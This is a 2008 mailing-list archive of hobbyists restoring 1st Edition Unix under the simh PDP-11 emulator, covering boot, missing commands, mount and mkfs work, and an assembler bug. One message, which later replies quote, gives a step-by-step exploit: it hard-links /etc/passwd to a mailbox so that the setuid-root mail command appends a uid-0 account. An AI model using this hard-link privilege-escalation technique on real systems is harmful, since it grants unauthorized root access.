$ ./simh.cfg

PDP-11 simulator V3.7-3
./simh.cfg> #!tools/pdp11
Unknown command
Disabling CR
Disabling XQ
RF: buffering file in memory
TC0: 16b format, buffering file in memory
sim> go

:login: root
root
# No command
# ls
No command
# /bin/ls
bin
dev
etc
tmp
usr
#


have to use control-j to enter commands.

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Sat May  3 13:36:19 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 13:36:19 +1000
Subject: [Unix-jun72] login prompt!
In-Reply-To: <Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
Message-ID: <20080503033619.GA38502@minnie.tuhs.org>

On Fri, May 02, 2008 at 05:25:00PM -1000, Tim Newsham wrote:
> > The good news:  login prompt!

Yay, it works!

:login: root
root
# ls -l
total    6
 43 sdrwr-  2 bin     620 Jan  1 00:00:00 bin
 42 sdrwr-  2 sys     250 Jan  1 00:00:00 dev
 44 sdrwr-  2 bin     110 Jan  1 00:00:00 etc
 46 sdrwrw  2 sys      30 Jan  1 00:00:00 tmp
 45 sdrwr-  2 sys      20 Jan  1 00:00:00 usr
# chdir bin
# date
Fri Jan  1 00:00:24

Amazing work from all of you!

Congrats,
	Warren


From wkt at tuhs.org  Sat May  3 13:47:47 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 13:47:47 +1000
Subject: [Unix-jun72] login prompt!
In-Reply-To: <Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
Message-ID: <20080503034747.GA38902@minnie.tuhs.org>

On Fri, May 02, 2008 at 05:25:00PM -1000, Tim Newsham wrote:
> > The good news:  login prompt!

And also, check gives good results:

# check
RF:
 116 files
   6 large
   6 indirect
 249 used
 405 free
 336 missing

RK:	[ it dies here, as empty disk image ]

I think I know the problem why check was not working via Apout. Here's
a comment from the CHANGES file:

	2.3 Alpha2: to 10th Jan 2000
	----------------------------
	Added code to support 512-byte block seeks on /dev files for 1st Edition
	binaries. This was required to get tap(1) to work. This should really
	only force 512-byte seeks on specific /dev/files, not all of them.

So I suspect that check is doing something with seeks that I am not
dealing with correctly in Apout.

Cheers,
	Warren


From newsham at lava.net  Sat May  3 13:47:47 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 17:47:47 -1000 (HST)
Subject: [Unix-jun72] login prompt!
In-Reply-To: <20080503033619.GA38502@minnie.tuhs.org>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
	<20080503033619.GA38502@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805021739510.20114@malasada.lava.net>

> Yay, it works!

Its not easy to think of what's next in the excitement, but here goes
a shot:

    - I don't see any mount utility in the s2 bits, we'll need one.
    - we should get the /usr stuff onto the rk03 disk and get it mounted
    - we should see how hard it is to get the serial ttys working.
      It sounds like getting a hack working in simh might not be too
      hard, but to get it integrated back in they probably want something
      robust.  Perhaps having 1ed around will give someone the motivation
      to get dc11 support in simh?
    - I thought "as" wouldn't work, but it seems to be trying to run
      it.  If possible we should investigate what is necessary to get
      the system to build its own kernel and its own tape.
    - we should investigate the original boot process and see how
      much of it would be possible to restore and determine if its
      worth the effort.
    - there's a bunch of file fragments in the 1972_stuff that might
      prove useful.  It sounds like Warren has started to think about
      how to triage these.  This might be a bit of effort.

    - at some point we should probably put together some kind of package
      for others who want to run the system in simh.  I'm not really
      sure what this should look like and perhaps its a bit early to talk
      about it...  Maybe two sets - a set of rf0 and rk0 images with
      a kernel that can run instantly, and a set with a cold kernel,
      a normal kernel and a tape image?

any thoughts?  anything I missed?

Tim Newsham
http://www.thenewsh.com/~newsham/


From imp at bsdimp.com  Sat May  3 14:12:59 2008
From: imp at bsdimp.com (Warner Losh)
Date: Fri, 02 May 2008 22:12:59 -0600 (MDT)
Subject: [Unix-jun72] login prompt!
In-Reply-To: <Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
Message-ID: <20080502.221259.74661438.imp@bsdimp.com>

From: Tim Newsham <newsham at lava.net>
Subject: Re: [Unix-jun72] login prompt!
Date: Fri, 2 May 2008 17:25:00 -1000 (HST)

> > The good news:  login prompt!
> 
> $ ./simh.cfg
> 
> PDP-11 simulator V3.7-3
> ./simh.cfg> #!tools/pdp11
> Unknown command
> Disabling CR
> Disabling XQ
> RF: buffering file in memory
> TC0: 16b format, buffering file in memory
> sim> go
> 
> :login: root
> root
> # No command
> # ls
> No command
> # /bin/ls
> bin
> dev
> etc
> tmp
> usr
> #

So when did the PATH variable get introduced?

Warner


From wkt at tuhs.org  Sat May  3 14:45:19 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 14:45:19 +1000
Subject: [Unix-jun72] PATH variable
In-Reply-To: <20080502.221259.74661438.imp@bsdimp.com>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
	<20080502.221259.74661438.imp@bsdimp.com>
Message-ID: <20080503044519.GA43894@minnie.tuhs.org>

On Fri, May 02, 2008 at 10:12:59PM -0600, Warner Losh wrote:
> So when did the PATH variable get introduced?

The 1e manual says: If the 1st argument represents the path name of an
executable file, it is invoked; otherwise the string "/bin/" is prepended
to the argument. In this way the standard commands, which reside in "/bin"
are found.

The 3e manual extends the above: If no such command is found,
the string "/usr" is further prepended (to give "/usr/bin/command") and
another attempt is made to execute the resulting file. (Certain "overflow"
commands live in "/usr/bin".)  If the "/usr/bin" file exists, but is not
executable, it is used by the shell as a command file.
That is to say it is executed as though it were typed from the console.

Manuals for 4e, 5e and 6e all say the above. The 7th Edition manual is
the first to say:

The shell parameter $PATH defines the search path for the directory containing
the command. Each alternative directory name is separated by a colon (:)
The default path is :/bin:/usr/bin. If the command name contains a / then the
search path is not used. Otherwise, each directory in the path is searched for
an executable file. If the file has execute permission but is not an
a.out file, it is assumed to be a file containing shell commands.

Cheers,
	Warren


From wkt at tuhs.org  Sat May  3 14:51:24 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 14:51:24 +1000
Subject: [Unix-jun72] What next?
In-Reply-To: <Pine.BSI.4.64.0805021739510.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
	<20080503033619.GA38502@minnie.tuhs.org>
	<Pine.BSI.4.64.0805021739510.20114@malasada.lava.net>
Message-ID: <20080503045124.GA45430@minnie.tuhs.org>

On Fri, May 02, 2008 at 05:47:47PM -1000, Tim Newsham wrote:
> Its not easy to think of what's next in the excitement, but here goes
> a shot... any thoughts?  anything I missed?

I have a few. Given we have some 2nd Edition 0407 binaries, and also the first C
compiler source code http://www.tuhs.org/Archive/Applications/Early_C_Compilers/
can recompile itself down to a 2nd Edition binary, and we have some C code
fragments for 2nd Edition, I would like to see the 1st Edition kernel modified
just enough to be able to run the 0407 binaries.

That would make most of the "early stuff" executable again.

	Warren

P.S Using the rf0.dsk image to get my homegrown mkfs working. More later.


From wkt at tuhs.org  Sat May  3 14:56:16 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 14:56:16 +1000
Subject: [Unix-jun72] replacing mount.s
In-Reply-To: <Pine.BSI.4.64.0805021739510.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
	<20080503033619.GA38502@minnie.tuhs.org>
	<Pine.BSI.4.64.0805021739510.20114@malasada.lava.net>
Message-ID: <20080503045616.GA45591@minnie.tuhs.org>

On Fri, May 02, 2008 at 05:47:47PM -1000, Tim Newsham wrote:
>    - I don't see any mount utility in the s2 bits, we'll need one.

The asm code to init.s is here:
http://minnie.tuhs.org/UnixTree/1972_stuff/s1/frag2.html

	sys	mount; rk1; usr
	sys	mount; rk2; ssys
	sys	mount; rk3; crp

rk1:    </dev/rk1\0>
rk2:    </dev/rk2\0>
rk3:    </dev/rk3\0>
usr:    </usr\0>
ssys:   </sys\0>
crp:    </crp\0>

Looks like we can use it to write a simple mount.s.

	Warren


From wkt at tuhs.org  Sat May  3 18:48:17 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 18:48:17 +1000
Subject: [Unix-jun72] Missing commands
Message-ID: <20080503084817.GA51986@minnie.tuhs.org>

I thought I would quickly make a list of commands we have, commands that
are missing, and out-of-the-ordinary commands. Below, if a command has
no comment, it's a V1 command that we have. Notes follow. I have not tried
to list the missing /etc and /usr/... commands yet.

/bin
----
:               V2 cmd, 0405 binary
ar
as              V2 binary
b               missing
bas
bcd             missing
boot            missing
cal
cat
cc              V2 binary
chball          ? no idea
check
chmod
chown
cmp
cp
date
db 
dbppt           missing
dc 
df  
ds              V2 binary
dsw
dtf             missing
du   
echo            V2 cmd, 0405 binary
ed  
exit            V2 cmd, 0405 binary
fc              V2 binary
find            V2 binary
form
goto            V2 cmd, 0405 binary
hup             missing
if              V2 cmd, 0405 binary
lbppt           missing
ld              V2 binary
ln
login           V2 cmd, 0405 binary
ls
mail
maki            V2 binary
mesg
mkdir
mkfs
mount
mv
nm              V2 binary
od
pr
rew
rkd             missing
rkf             missing
rkl             missing
rm
rmdir
roff
sdate           missing
sh
size            V2 binary
skip            ? no idea
sort
stat
strip           V2 binary
stty            V2 cmd, 0405 binary
su
sum
tap
tm
tty
type
un              V2 binary
wc
who
write

/etc
----
as2             V2 binary
getty           V2 cmd, 0405 binary
glob
init
msh
suftab
uids

I have a quote from dmr somewhere (I can't find it), but to paraphrase:
early UNIX was under a constant state of development. We would tidy up
now and then, write a new manual, then get back to development.

The 1st Edition UNIX manual is dated November 3, 1971.
The 2nd Edition UNIX manual is dated June 12, 1972.

1st Edition (1e) only used 0405 a.out files. 2nd Edition (2e) only used
0407 a.out files. I would guess that the executables that we have from
the s2 tape are from a snapshot halfway between 1e and 2e, and at that
point in time the kernel could execute both varieties. This would explain
why some V2 commands are 0405 style, and some are 0407 style.

Despite the dates on the PDF commentary where we got the kernel source,
the kernel has to be around 1e, not much later. The kernel only knows
about 0405 a.out files, and is missing all of the system calls new to 2e:
hog, kill, makdir (renamed from 1e mkdir), smdate and sync.

So: kernel is around 1e, Nov 1971 or close; executables are somewhere
between 1e and 2e, but before June 1972 as we have 0405 and 0407 ones.

Cheers,
	Warren


From brad at heeltoe.com  Sat May  3 20:22:28 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sat, 03 May 2008 06:22:28 -0400
Subject: [Unix-jun72] login prompt!
In-Reply-To: <Pine.BSI.4.64.0805021739510.20114@malasada.lava.net> 
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
	<20080503033619.GA38502@minnie.tuhs.org>
	<Pine.BSI.4.64.0805021739510.20114@malasada.lava.net>
Message-ID: <31222.1209810148@mini>


Tim -

I think the "divide by 2 sign extention" problem is still in the svn
tree (so anyone trying to reproduce it will fail).

I'll try and fix the sed script to clean that up.

/	mov    $[systm-inode]\/2,sb0+4 / sets up initial buffers per
	mov    $-191.,sb0+4 / sets up initial buffers per

maybe sX[systm-inode]\/2X-191.X might work

with that fix I get a login prompt from the cold kernel!  woo hoo!

-brad


From brad at heeltoe.com  Sat May  3 21:23:45 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sat, 03 May 2008 07:23:45 -0400
Subject: [Unix-jun72] Missing commands
In-Reply-To: <20080503084817.GA51986@minnie.tuhs.org> 
References: <20080503084817.GA51986@minnie.tuhs.org>
Message-ID: <32409.1209813825@mini>


Warren Toomey wrote:
>I thought I would quickly make a list of commands we have, commands that
>are missing, and out-of-the-ordinary commands. Below, if a command has
>no comment, it's a V1 command that we have. Notes follow. I have not tried
>to list the missing /etc and /usr/... commands yet.
>
...
>mkfs

Where is this?  I don't have it in my v2 bits.  Like to try it on the rk.

-brad



From wkt at tuhs.org  Sat May  3 21:39:11 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 21:39:11 +1000
Subject: [Unix-jun72] Missing commands
In-Reply-To: <32409.1209813825@mini>
References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini>
Message-ID: <20080503113911.GB83393@minnie.tuhs.org>

On Sat, May 03, 2008 at 07:23:45AM -0400, Brad Parker wrote:
> >mkfs
> Where is this?  I don't have it in my v2 bits.  Like to try it on the rk.
> -brad

Whups, that should have been marked as missing, sorry.
	Warren


From wkt at tuhs.org  Sat May  3 22:31:47 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 22:31:47 +1000
Subject: [Unix-jun72] Missing commands
In-Reply-To: <1041.1209816979@mini>
References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini>
	<20080503113911.GB83393@minnie.tuhs.org> <345.1209815083@mini>
	<20080503121126.GA83961@minnie.tuhs.org> <1041.1209816979@mini>
Message-ID: <20080503123147.GA84379@minnie.tuhs.org>

On Sat, May 03, 2008 at 08:16:19AM -0400, Brad Parker wrote:
> The simh setup was wrong; you need to use
> 
>   set rk0 enabled
>   attach rk0 rk3.dsk
> 
> Once I did that I could check the image I made with your program.  I have
> not mounted it yet, however.  It checks fine.
> 
> Tim - where did you get the files you used to make your tape image?  Can
> you tar up that directory and check it in?  I can't find init anywhere.
> I must be confused.

On the s2 tape in /etc/init.

Thanks Brad.
	Warren


From wkt at tuhs.org  Sat May  3 22:42:47 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 22:42:47 +1000
Subject: [Unix-jun72] Missing commands
In-Reply-To: <20080503123147.GA84379@minnie.tuhs.org>
References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini>
	<20080503113911.GB83393@minnie.tuhs.org> <345.1209815083@mini>
	<20080503121126.GA83961@minnie.tuhs.org> <1041.1209816979@mini>
	<20080503123147.GA84379@minnie.tuhs.org>
Message-ID: <20080503124247.GA84612@minnie.tuhs.org>

On Sat, May 03, 2008 at 08:16:19AM -0400, Brad Parker wrote:
> The simh setup was wrong; you need to use
> 
>   set rk0 enabled
>   attach rk0 rk3.dsk

and 

#set rk3 enabled
#att rk3 rk0.dsk

I'm attaching my latest mkfs.c. It makes RF images fine, but for some reason
I can't make a working RK image bigger than 2165 blocks. I must be overflowing
something on the image.

Cheers,
	Warren
-------------- next part --------------
A non-text attachment was scrubbed...
Name: mkfs.c.gz
Type: application/x-gunzip
Size: 5003 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080503/9d949139/attachment.bin>

From wkt at tuhs.org  Sat May  3 22:46:26 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 22:46:26 +1000
Subject: [Unix-jun72] Change to mail list behaviour
Message-ID: <20080503124626.GA84693@minnie.tuhs.org>

After e-mailing a reply about 6 times today and it going to the original
poster, instead of the mailing list where I wanted it to go, I have
decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies
will now go back to the list, not the poster.

It's an arbitrary decision; if you disklike it, let me know. If most
of you prefer it the other way, I'll switch it back!

Good night,
	Warren


From brad at heeltoe.com  Sun May  4 00:35:47 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sat, 03 May 2008 10:35:47 -0400
Subject: [Unix-jun72] mount woes
Message-ID: <2901.1209825347@mini>


I wrote this:

  exit  = 1.
  mount = 21.

	sys mount; rk0; usr
	sys exit

  rk0:    </dev/rk0\0>
  usr:    </usr\0>

And tried to assemble it with /bin/as, but it's a 407 exec and it didn't
work (core dump, created odd files)

So, I built it with apout & as like this:

  apout /backup/raid2/pdp11/v7/bin/as ./mount.s

  # reconsruct v1 0405 a.out header
  echo -e '\005' >mount
  dd if=a.out of=mount bs=1 skip=1 seek=1 count=11
  dd if=a.out of=mount bs=1 skip=16 seek=12

And it runs, but nothing happens.  I have not debugged it much.  Wish we
had a working v1 as.

-brad






From jam at magic.com  Sun May  4 02:21:54 2008
From: jam at magic.com (James A. Markevitch)
Date: Sat, 3 May 2008 09:21:54 -0700 (PDT)
Subject: [Unix-jun72] Minor bug in sources e09-07
Message-ID: <200805031621.JAA00583@mist.magic.com>

I downloaded the stuff from the svn, got it to build, then did a cmp -l
on the load file from my assembler vs. the one built from the svn tree.

There is a bug in the svn sources on page e09-07, near the bottom.
The call to sleep should read:

	jsr	r0,sleep; 0:..

Note that there should be a colon, not a semi-colon after the 0.
Presumably, this code was never executed, else it would have
resulted in a halt.

After I made that fix, a build from the svn tree is identical to that
from my assembler.

James Markevitch


From brad at heeltoe.com  Sun May  4 03:26:00 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sat, 03 May 2008 13:26:00 -0400
Subject: [Unix-jun72] Minor bug in sources e09-07
In-Reply-To: <200805031621.JAA00583@mist.magic.com> 
References: <200805031621.JAA00583@mist.magic.com>
Message-ID: <4631.1209835560@mini>


"James A. Markevitch" wrote:
>I downloaded the stuff from the svn, got it to build, then did a cmp -l
>on the load file from my assembler vs. the one built from the svn tree.
>
>There is a bug in the svn sources on page e09-07, near the bottom.
>The call to sleep should read:
>
>	jsr	r0,sleep; 0:..
>
>Note that there should be a colon, not a semi-colon after the 0.
>Presumably, this code was never executed, else it would have
>resulted in a halt.

thanks!

but what *does* that syntax do?  0:..  ?

(I do know that 0 is halt :-)

-brad


From jam at magic.com  Sun May  4 03:35:46 2008
From: jam at magic.com (James A. Markevitch)
Date: Sat, 3 May 2008 10:35:46 -0700 (PDT)
Subject: [Unix-jun72] Minor bug in sources e09-07
Message-ID: <200805031735.KAA01301@mist.magic.com>

> >There is a bug in the svn sources on page e09-07, near the bottom.
> >The call to sleep should read:
> >
> >       jsr     r0,sleep; 0:..
> >
> >Note that there should be a colon, not a semi-colon after the 0.
> >Presumably, this code was never executed, else it would have
> >resulted in a halt.
> 
> thanks!
> 
> but what *does* that syntax do?  0:..  ?

The two-instruction sequence is:

	movb	tty+3(r1),0f / put clist id in sleep argument
	jsr	r0,sleep; 0:..

The "0:" on the second line is a label and it is referenced by the "0f"
in the first line.  The first line is putting a value into the argument
being passed to the sleep subroutine.  Self-modifying code.

The ".." assembles to a 0.

With the incorrect code, "0" assembled to a 0 and ".." assembled to
a 0, so there was one extra word of zeroes, and the return from the
sleep would have executed it (halt) instead of the "br 1b" on the
next line.

James Markevitch


From brad at heeltoe.com  Sun May  4 03:52:19 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sat, 03 May 2008 13:52:19 -0400
Subject: [Unix-jun72] mount woes (fixed)
In-Reply-To: <2901.1209825347@mini> 
References: <2901.1209825347@mini>
Message-ID: <4998.1209837139@mini>


Turns out not linking my a.out was a bad idea; I fixed it by doing this:

exit  = 1.
mount = 21.

	sys mount; rk0+040014; usr+040014
	sys exit

rk0:    </dev/rk0\0>
usr:    </usr\0>

This seems to work.  I think the rk fs image is not right, but Warren seems
to have a grip on that and I'll try his latest mkfs next.

-brad



From brad at heeltoe.com  Sun May  4 03:52:19 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sat, 03 May 2008 13:52:19 -0400
Subject: [Unix-jun72] mount woes (fixed)
In-Reply-To: <2901.1209825347@mini> 
References: <2901.1209825347@mini>
Message-ID: <4998.1209837139@mini>


Turns out not linking my a.out was a bad idea; I fixed it by doing this:

exit  = 1.
mount = 21.

	sys mount; rk0+040014; usr+040014
	sys exit

rk0:    </dev/rk0\0>
usr:    </usr\0>

This seems to work.  I think the rk fs image is not right, but Warren seems
to have a grip on that and I'll try his latest mkfs next.

-brad



From newsham at lava.net  Sun May  4 04:06:18 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 08:06:18 -1000 (HST)
Subject: [Unix-jun72] Missing commands
In-Reply-To: <20080503123147.GA84379@minnie.tuhs.org>
References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini>
	<20080503113911.GB83393@minnie.tuhs.org> <345.1209815083@mini>
	<20080503121126.GA83961@minnie.tuhs.org> <1041.1209816979@mini>
	<20080503123147.GA84379@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805030803030.20114@malasada.lava.net>

>> Tim - where did you get the files you used to make your tape image?  Can
>> you tar up that directory and check it in?  I can't find init anywhere.
>> I must be confused.

The process for making the tape image is:

    - get s2.tar.gz from TUHS PDP11 distributions (under research)
    - extract somewhere like /tmp/s2 (if elsewhere, you must edit
      tools/mktape.py)
    - build a tape with the files you want:
      tools/mktape.py /tmp/s2/bin/* /tmp/s2/etc/*

you can add any files you want, but it will make up uid/permission
for files it doesnt "know" about.  It has a table of files and
permissions baked into it that came from the TUHS archive.  The
tool strips off "/tmp/s2" from the paths right now, so if you put
s2 in a different location you'll have to alter that path or you'll
have to build the tape from within that subdirectory using relative
paths.

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Sun May  4 04:14:49 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 08:14:49 -1000 (HST)
Subject: [Unix-jun72] mount woes (fixed)
In-Reply-To: <4998.1209837139@mini>
References: <2901.1209825347@mini> <4998.1209837139@mini>
Message-ID: <Pine.BSI.4.64.0805030812100.20114@malasada.lava.net>

On Sat, 3 May 2008, Brad Parker wrote:
> 	sys mount; rk0+040014; usr+040014
> 	sys exit

We may not need mount afterall.  The init process mounts /dev/rk0 on
/usr during startup (after the second "1:" label on e12-01).

Btw, how does one manipulate the consoel switches in simh?  The
init process goes into single user mode (top of init on e12-01)
if the console switches are set appropriately..  I've stepped through
this code to verify that it is not doing that with our config
(if it was, it should go straight to shell with no login prompt).

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Sun May  4 04:16:23 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 08:16:23 -1000 (HST)
Subject: [Unix-jun72] mount woes (fixed)
In-Reply-To: <Pine.BSI.4.64.0805030812100.20114@malasada.lava.net>
References: <2901.1209825347@mini> <4998.1209837139@mini>
	<Pine.BSI.4.64.0805030812100.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805030815330.20114@malasada.lava.net>

> We may not need mount afterall.  The init process mounts /dev/rk0 on
> /usr during startup (after the second "1:" label on e12-01).

Oh, for what its worth, the init sources say its an "rk05" disk ("rko5" 
actually ;-) I think Warren was asking about which model to use earlier.

Tim Newsham
http://www.thenewsh.com/~newsham/


From cowan at ccil.org  Sun May  4 04:43:16 2008
From: cowan at ccil.org (John Cowan)
Date: Sat, 3 May 2008 14:43:16 -0400
Subject: [Unix-jun72] Change to mail list behaviour
In-Reply-To: <20080503124626.GA84693@minnie.tuhs.org>
References: <20080503124626.GA84693@minnie.tuhs.org>
Message-ID: <20080503184315.GG28208@mercury.ccil.org>

Warren Toomey scripsit:

> After e-mailing a reply about 6 times today and it going to the original
> poster, instead of the mailing list where I wanted it to go, I have
> decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies
> will now go back to the list, not the poster.

Arrgh!  Kill!  Kill!  Kill!!

http://www.unicom.com/pw/reply-to-harmful.html
http://woozle.org/~neale/papers/reply-to-still-harmful.html

-- 
Is not a patron, my Lord [Chesterfield],        John Cowan
one who looks with unconcern on a man           http://www.ccil.org/~cowan
struggling for life in the water, and when      cowan at ccil.org
he has reached ground encumbers him with help?
        --Samuel Johnson


From imp at bsdimp.com  Sun May  4 04:52:27 2008
From: imp at bsdimp.com (M. Warner Losh)
Date: Sat, 03 May 2008 12:52:27 -0600 (MDT)
Subject: [Unix-jun72] Change to mail list behaviour
In-Reply-To: <20080503184315.GG28208@mercury.ccil.org>
References: <20080503124626.GA84693@minnie.tuhs.org>
	<20080503184315.GG28208@mercury.ccil.org>
Message-ID: <20080503.125227.1791029143.imp@bsdimp.com>

In message: <20080503184315.GG28208 at mercury.ccil.org>
            John Cowan <cowan at ccil.org> writes:
: Warren Toomey scripsit:
: 
: > After e-mailing a reply about 6 times today and it going to the original
: > poster, instead of the mailing list where I wanted it to go, I have
: > decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies
: > will now go back to the list, not the poster.
: 
: Arrgh!  Kill!  Kill!  Kill!!
: 
: http://www.unicom.com/pw/reply-to-harmful.html
: http://woozle.org/~neale/papers/reply-to-still-harmful.html

I respectfully disagree.

Religious jihads are like that.

Warner


From newsham at lava.net  Sun May  4 05:20:13 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 09:20:13 -1000 (HST)
Subject: [Unix-jun72] Some fun with 1st ed
Message-ID: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>

All work and no play...

Here's a fun hack for first edition unix.  From MAIL (I) :

   When followed by the names of a letter and one or more people, the
   letter is appended to each person's mailbox.  Each letter is
   preceded by the sender's name and a postmark.

   A person is either the nameof an entry in the directory /usr, in
   which case the mail is sent to /usr/person/mailbox, or the path
   of a directory, in which case mailbox in that directory is used.

Mail is setuid root:

# ls -l /bin/mail
  80 surwr-  1 root   3940 Jan  1 00:00:00 mail

login as a non-root user (ie "bin"), create a file "letter" with the 
contents "hack::0:/:".  Run:

    @ ln /etc/passwd /tmp/mailbox
    @ mail letter /tmp

log out and log back in as "hack".  You are now root.  Cat /etc/passwd
and notice:

   From bin Jan  1 00:49:22
   hack::0:/:

clean up the file a little and enjoy your new elevated status.

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Sun May  4 05:34:14 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 09:34:14 -1000 (HST)
Subject: [Unix-jun72] [TUHS] Some fun with 1st ed
In-Reply-To: <20080503192943.GC69106@freebie.xs4all.nl>
References: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
	<20080503192359.GA11882@bitmover.com>
	<20080503192943.GC69106@freebie.xs4all.nl>
Message-ID: <Pine.BSI.4.64.0805030933170.20114@malasada.lava.net>

> Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 ..
>> We need to send out a security alert immediately.  This is serious.
>
> CERT to the rescue!  Man the barricades !

I did this once with a 7th edition vuln.  I think one is probably the 
limit :)

     http://www.securityfocus.com/archive/1/365038

>> Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com
> Wilko

Tim Newsham
http://www.thenewsh.com/~newsham/


From wb at freebie.xs4all.nl  Sun May  4 05:29:43 2008
From: wb at freebie.xs4all.nl (Wilko Bulte)
Date: Sat, 3 May 2008 21:29:43 +0200
Subject: [Unix-jun72] [TUHS] Some fun with 1st ed
In-Reply-To: <20080503192359.GA11882@bitmover.com>
References: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
	<20080503192359.GA11882@bitmover.com>
Message-ID: <20080503192943.GC69106@freebie.xs4all.nl>

Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 ..
> We need to send out a security alert immediately.  This is serious.

CERT to the rescue!  Man the barricades ! 

;-)

> On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote:
> > All work and no play...
> > 
> > Here's a fun hack for first edition unix.  From MAIL (I) :
> > 
> >    When followed by the names of a letter and one or more people, the
> >    letter is appended to each person's mailbox.  Each letter is
> >    preceded by the sender's name and a postmark.
> > 
> >    A person is either the nameof an entry in the directory /usr, in
> >    which case the mail is sent to /usr/person/mailbox, or the path
> >    of a directory, in which case mailbox in that directory is used.
> > 
> > Mail is setuid root:
> > 
> > # ls -l /bin/mail
> >   80 surwr-  1 root   3940 Jan  1 00:00:00 mail
> > 
> > login as a non-root user (ie "bin"), create a file "letter" with the 
> > contents "hack::0:/:".  Run:
> > 
> >     @ ln /etc/passwd /tmp/mailbox
> >     @ mail letter /tmp
> > 
> > log out and log back in as "hack".  You are now root.  Cat /etc/passwd
> > and notice:
> > 
> >    From bin Jan  1 00:49:22
> >    hack::0:/:
> > 
> > clean up the file a little and enjoy your new elevated status.
> > 
> > Tim Newsham
> > http://www.thenewsh.com/~newsham/
> > _______________________________________________
> > TUHS mailing list
> > TUHS at minnie.tuhs.org
> > https://minnie.tuhs.org/mailman/listinfo/tuhs
> 
> -- 
> ---
> Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs
--- end of quoted text ---

-- 
Wilko


From lm at bitmover.com  Sun May  4 05:24:00 2008
From: lm at bitmover.com (Larry McVoy)
Date: Sat, 3 May 2008 12:24:00 -0700
Subject: [Unix-jun72] [TUHS] Some fun with 1st ed
In-Reply-To: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
Message-ID: <20080503192359.GA11882@bitmover.com>

We need to send out a security alert immediately.  This is serious.

On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote:
> All work and no play...
> 
> Here's a fun hack for first edition unix.  From MAIL (I) :
> 
>    When followed by the names of a letter and one or more people, the
>    letter is appended to each person's mailbox.  Each letter is
>    preceded by the sender's name and a postmark.
> 
>    A person is either the nameof an entry in the directory /usr, in
>    which case the mail is sent to /usr/person/mailbox, or the path
>    of a directory, in which case mailbox in that directory is used.
> 
> Mail is setuid root:
> 
> # ls -l /bin/mail
